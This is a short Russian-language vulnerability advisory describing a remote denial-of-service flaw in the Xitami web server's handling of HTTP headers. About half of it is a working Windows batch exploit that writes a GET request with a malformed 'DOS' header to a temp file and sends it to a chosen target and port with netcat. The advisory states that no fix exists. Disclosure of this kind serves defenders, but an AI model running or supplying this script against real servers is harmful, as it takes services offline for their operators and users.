Удаленный отказ в обслуживании в Xitami web server

Описание: Уязвимость обнаружена в Xitami web server в обработке HTTP заголовков. Удаленный пользователь может вызвать условия отказа в обслуживании.

Удаленный пользователь может представить HTTP get запрос с некорректным заголовком (типа ‘DOS’), чтобы вызвать условия отказа в обслуживании на целевой системе.

Пример/Эксплоит:

if '%1'=='' echo Usage:%0 target [port]&&goto :eof
set PORT=80
if not '%2'=='' set PORT=%2
for %%n in (nc.exe) do if not exist %%~$PATH:n if not exist nc.exe echo Need nc.exe&&goto :eo
f
echo GET / HTTP/1.0>http.tmp
echo HOST: %1>>http.tmp
echo DOS>>http.tmp
echo.>>http.tmp
nc -w 10 %1 %PORT% < http.tmp
del http.tmp

URL производителя:http://www.xitami.com/

Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время.